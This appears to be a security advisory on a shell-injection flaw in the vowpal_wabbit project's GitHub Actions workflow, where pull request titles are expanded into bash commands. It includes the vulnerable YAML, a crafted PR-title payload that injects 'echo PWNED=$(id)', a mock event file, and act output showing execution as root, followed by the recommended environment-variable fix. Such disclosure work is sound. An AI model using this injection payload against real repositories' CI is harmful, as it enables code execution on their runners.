Affected
- The GitHub Actions workflow
.github/workflows/python_checks.yml in the
vowpal_wabbit repository.
Not affected
- Any published vowpal_wabbit artifact: the
vowpalwabbit PyPI wheel, the
VowpalWabbitNative.* NuGet packages, the @vowpalwabbit/vowpalwabbit WASM
package, the Java JAR, or the C++ library. This vulnerability exists only
in the project's CI configuration and has no runtime effect on consumers.
Patch
Fixed by binding github.event.pull_request.title to a
PR_TITLE env var per affected step and referencing it as "$PR_TITLE" in
the script body, so bash treats the value as data rather than source.
Summary
The workflow .github/workflows/python_checks.yml embeds ${{ github.event.pull_request.title }} directly inside double-quoted bash strings in four separate steps across four jobs, each passing it as a CLI argument to the Python test script run_tests_model_gen_and_load.py. The shell interprets the expanded string before invoking Python, allowing an attacker to break out of the quotes and execute arbitrary commands on the runner. The pull_request trigger fires on PRs targeting any branch (branches: ['*']), with no additional access gate.
Vulnerable Code
File: .github/workflows/python_checks.yml
All four occurrences follow the same pattern:
on:
pull_request:
branches:
- '*'
jobs:
forward-generate: # line 94 — also forward-test (137), backward-generate (181), backward-test (224)
runs-on: ubuntu-22.04
steps:
- name: Generate models
shell: bash
run: |
python3 ./test/run_tests_model_gen_and_load.py \
--generate_models \
--skip_pr_tests "${{ github.event.pull_request.title }}" \ # ← INJECTION (×4)
|| (echo "Model generation failed with exit code $?" && exit 1)
Lines with injection: 122 (forward-generate), 179 (forward-test), 209 (backward-generate), 262 (backward-test).
After template expansion the PR title is embedded inside "...". The breaking payload fix: update model" && echo "PWNED=$(id)" && echo " terminates the first quoted string after fix: update model, then injects echo "PWNED=$(id)" as a second shell command chained with &&. The Python script is passed "fix: update model" as its --skip_pr_tests value, exits 0 as normal, and the injected echo runs as the next command in the && chain.
Proof-of-Concept
The following steps reproduce the vulnerability locally using nektos/act. No repository write access is required.
The four injection steps each depend on a pre-built vowpalwabbit Python wheel produced by the build-wheel job (a full C++ compilation step that cannot run in standard act runner images). The PoC therefore isolates the vulnerable step into a minimal workflow and provides a stub test script that exits 0 without importing vowpalwabbit. The injection pattern — "${{ github.event.pull_request.title }}" as the last CLI argument — is copied verbatim from line 122 of the real workflow.
Step 1 — Clone the repository and create the stub test script
git clone --depth 1 https://github.com/VowpalWabbit/vowpal_wabbit /tmp/vowpalwabbit-poc
cd /tmp/vowpalwabbit-poc
Create a stub that accepts the real script's arguments and exits 0, standing in for the actual run_tests_model_gen_and_load.py which requires the compiled wheel:
mkdir -p test
cat > test/run_tests_model_gen_and_load.py << 'EOF'
#!/usr/bin/env python3
import sys
print(f"stub: args={sys.argv[1:]}")
EOF
Step 2 — Create the minimal PoC workflow and event payload
The injection site is github.event.pull_request.title. The payload closes the double-quoted --skip_pr_tests argument after fix: update model, injects an arbitrary command via &&, then reopens a string to consume the closing " that follows in the original template line.
cat > /tmp/vowpalwabbit-poc.yml << 'EOF'
name: Python Checks PoC
on:
pull_request:
jobs:
forward-generate:
name: Generate models from current code
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v4
- name: Generate models
shell: bash
run: |
python3 ./test/run_tests_model_gen_and_load.py --generate_models --skip_pr_tests "${{ github.event.pull_request.title }}" || (echo "Model generation failed with exit code $?" && exit 1)
EOF
cat > /tmp/evil-vowpalwabbit-pr.json << 'EOF'
{
"action": "opened",
"number": 1337,
"pull_request": {
"number": 1337,
"title": "fix: update model\" && echo \"PWNED=$(id)\" && echo \"",
"body": "normal body",
"state": "open",
"head": {
"ref": "fix/update-model",
"sha": "aabbccdd1234567890aabbccdd1234567890abcd",
"repo": { "full_name": "attacker/vowpal_wabbit", "fork": true }
},
"base": {
"ref": "master",
"repo": { "full_name": "VowpalWabbit/vowpal_wabbit" }
},
"user": { "login": "attacker" },
"merged": false
},
"repository": {
"full_name": "VowpalWabbit/vowpal_wabbit",
"name": "vowpal_wabbit",
"owner": { "login": "VowpalWabbit" }
},
"sender": { "login": "attacker" }
}
EOF
Injection mechanics: After template expansion the shell sees:
python3 ./test/run_tests_model_gen_and_load.py --generate_models --skip_pr_tests "fix: update model" && echo "PWNED=$(id)" && echo "" || (echo "Model generation failed with exit code $?" && exit 1)
The shell splits this at &&. The Python script receives --skip_pr_tests "fix: update model", exits 0, and echo "PWNED=$(id)" runs as the second command with id evaluated via command substitution.
Step 3 — Run act
act pull_request \
-e /tmp/evil-vowpalwabbit-pr.json \
-W /tmp/vowpalwabbit-poc.yml \
--pull=false \
-P ubuntu-22.04=catthehacker/ubuntu:act-latest
Step 4 — Observe the output
[Python Checks PoC/Generate models from current code] ⭐ Run Main Generate models
[Python Checks PoC/Generate models from current code] 🐳 docker exec cmd=[bash --noprofile --norc -e -o pipefail /var/run/act/workflow/1.sh] user= workdir=
[Python Checks PoC/Generate models from current code] | stub: args=['--generate_models', '--skip_pr_tests', 'fix: update model']
[Python Checks PoC/Generate models from current code] | PWNED=uid=0(root) gid=0(root) groups=0(root)
[Python Checks PoC/Generate models from current code] |
[Python Checks PoC/Generate models from current code] ✅ Success - Main Generate models
[Python Checks PoC/Generate models from current code] 🏁 Job succeeded
The stub Python script received 'fix: update model' as its --skip_pr_tests argument (confirming the first quoted string terminated correctly), and the injected echo "PWNED=$(id)" ran immediately after as a second shell command, executing as root. The bash --noprofile --norc -e -o pipefail invocation shown in the output confirms set -e and pipefail are active — the injection only fires because the stub Python command exits 0, exactly as the real script would in a legitimate CI run.
Impact
| Capability |
Notes |
| Arbitrary shell execution |
ubuntu-22.04, as root |
GITHUB_TOKEN access |
Read-only for fork PRs |
| Outbound network access |
Attacker can exfiltrate runner environment, metadata |
| Repository secrets |
Not exposed for pull_request from forks |
Who can trigger this: Any GitHub user who can open a pull request (public repo — no special access required). All four injection points fire on any PR to any branch (branches: ['*']), without any job-level gate.
Root Cause
${{ github.event.pull_request.title }} is a GitHub Actions template expression resolved before the shell sees the script. Passing it inside "..." as a command argument is equivalent to building a shell command via string concatenation — the title value is data that becomes code. The pattern appears in four separate jobs, suggesting a copy-paste origin; all four are equally exploitable.
Recommended Fix
Assign the untrusted value to an environment variable first; then reference the environment variable as the script argument:
- name: Generate models
env:
PR_TITLE: ${{ github.event.pull_request.title }}
shell: bash
run: |
python3 ./test/run_tests_model_gen_and_load.py \
--generate_models \
--skip_pr_tests "$PR_TITLE" \
|| (echo "Model generation failed with exit code $?" && exit 1)
Apply the same fix to all four occurrences (lines 122, 179, 209, 262).
To prevent this class of vulnerability from being reintroduced, consider adding zizmor to your CI pipeline. zizmor performs static analysis on GitHub Actions workflow files and flags template injection patterns, pull_request_target misuse, and other common workflow security issues before they reach production. A zizmor-action is available that uploads results as SARIF, integrating findings directly into the GitHub Security tab.
Affected
.github/workflows/python_checks.ymlin thevowpal_wabbit repository.
Not affected
vowpalwabbitPyPI wheel, theVowpalWabbitNative.* NuGet packages, the @vowpalwabbit/vowpalwabbit WASM
package, the Java JAR, or the C++ library. This vulnerability exists only
in the project's CI configuration and has no runtime effect on consumers.
Patch
Fixed by binding
github.event.pull_request.titleto aPR_TITLEenv var per affected step and referencing it as"$PR_TITLE"inthe script body, so bash treats the value as data rather than source.
Summary
The workflow
.github/workflows/python_checks.ymlembeds${{ github.event.pull_request.title }}directly inside double-quoted bash strings in four separate steps across four jobs, each passing it as a CLI argument to the Python test scriptrun_tests_model_gen_and_load.py. The shell interprets the expanded string before invoking Python, allowing an attacker to break out of the quotes and execute arbitrary commands on the runner. Thepull_requesttrigger fires on PRs targeting any branch (branches: ['*']), with no additional access gate.Vulnerable Code
File:
.github/workflows/python_checks.ymlAll four occurrences follow the same pattern:
Lines with injection: 122 (
forward-generate), 179 (forward-test), 209 (backward-generate), 262 (backward-test).After template expansion the PR title is embedded inside
"...". The breaking payloadfix: update model" && echo "PWNED=$(id)" && echo "terminates the first quoted string afterfix: update model, then injectsecho "PWNED=$(id)"as a second shell command chained with&&. The Python script is passed"fix: update model"as its--skip_pr_testsvalue, exits 0 as normal, and the injected echo runs as the next command in the&&chain.Proof-of-Concept
The following steps reproduce the vulnerability locally using nektos/act. No repository write access is required.
The four injection steps each depend on a pre-built vowpalwabbit Python wheel produced by the
build-wheeljob (a full C++ compilation step that cannot run in standard act runner images). The PoC therefore isolates the vulnerable step into a minimal workflow and provides a stub test script that exits 0 without importing vowpalwabbit. The injection pattern —"${{ github.event.pull_request.title }}"as the last CLI argument — is copied verbatim from line 122 of the real workflow.Step 1 — Clone the repository and create the stub test script
git clone --depth 1 https://github.com/VowpalWabbit/vowpal_wabbit /tmp/vowpalwabbit-poc cd /tmp/vowpalwabbit-pocCreate a stub that accepts the real script's arguments and exits 0, standing in for the actual
run_tests_model_gen_and_load.pywhich requires the compiled wheel:Step 2 — Create the minimal PoC workflow and event payload
The injection site is
github.event.pull_request.title. The payload closes the double-quoted--skip_pr_testsargument afterfix: update model, injects an arbitrary command via&&, then reopens a string to consume the closing"that follows in the original template line.Injection mechanics: After template expansion the shell sees:
The shell splits this at
&&. The Python script receives--skip_pr_tests "fix: update model", exits 0, andecho "PWNED=$(id)"runs as the second command withidevaluated via command substitution.Step 3 — Run act
Step 4 — Observe the output
The stub Python script received
'fix: update model'as its--skip_pr_testsargument (confirming the first quoted string terminated correctly), and the injectedecho "PWNED=$(id)"ran immediately after as a second shell command, executing asroot. Thebash --noprofile --norc -e -o pipefailinvocation shown in the output confirmsset -eandpipefailare active — the injection only fires because the stub Python command exits 0, exactly as the real script would in a legitimate CI run.Impact
ubuntu-22.04, as rootGITHUB_TOKENaccesspull_requestfrom forksWho can trigger this: Any GitHub user who can open a pull request (public repo — no special access required). All four injection points fire on any PR to any branch (
branches: ['*']), without any job-level gate.Root Cause
${{ github.event.pull_request.title }}is a GitHub Actions template expression resolved before the shell sees the script. Passing it inside"..."as a command argument is equivalent to building a shell command via string concatenation — the title value is data that becomes code. The pattern appears in four separate jobs, suggesting a copy-paste origin; all four are equally exploitable.Recommended Fix
Assign the untrusted value to an environment variable first; then reference the environment variable as the script argument:
Apply the same fix to all four occurrences (lines 122, 179, 209, 262).
To prevent this class of vulnerability from being reintroduced, consider adding zizmor to your CI pipeline. zizmor performs static analysis on GitHub Actions workflow files and flags template injection patterns,
pull_request_targetmisuse, and other common workflow security issues before they reach production. A zizmor-action is available that uploads results as SARIF, integrating findings directly into the GitHub Security tab.